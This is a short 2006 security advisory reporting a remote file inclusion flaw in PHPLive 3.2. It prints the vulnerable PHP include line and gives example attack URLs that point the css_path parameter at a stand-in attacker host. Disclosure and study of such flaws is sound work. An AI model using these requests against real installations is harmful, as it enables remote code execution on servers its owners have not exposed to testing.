Advisory: PHPLive 3.2 Remote Injection Vulnerability
 Release Date: 2006/07/23
       Author: magnific
   Discovered: aneurysm.inc security reserach
         Risk: High
Vendor Status: not contacted | no patch available
  Vendor Site: www.osicodes.com
      Contact: aneurysm_inc[at]hotmail[dot]com
      Version: all

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Overview:

Some variables are not properly sanitized before being used.
Here you will find the variables not properly sanitized:

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Vulnerable code:

help.php /setup/header.php etc..

<? $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ; include_once( $css_path."css/default.php" ) ; ?>

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Execution:

help.php?css_path=htt://attacker
setup/header.php?css_path=htt://attacker


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Vendor:

At the moment, there are no solutions from the vendor. If you want to make
sure the code and your PHPLIVE you have to sanitize the variable $css_path,
in all files affecteds.
Active SAFE_MODE on server, for local security.

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aneurysm.inc security reserach
irc.gigachat.net
#aneurysm.inc
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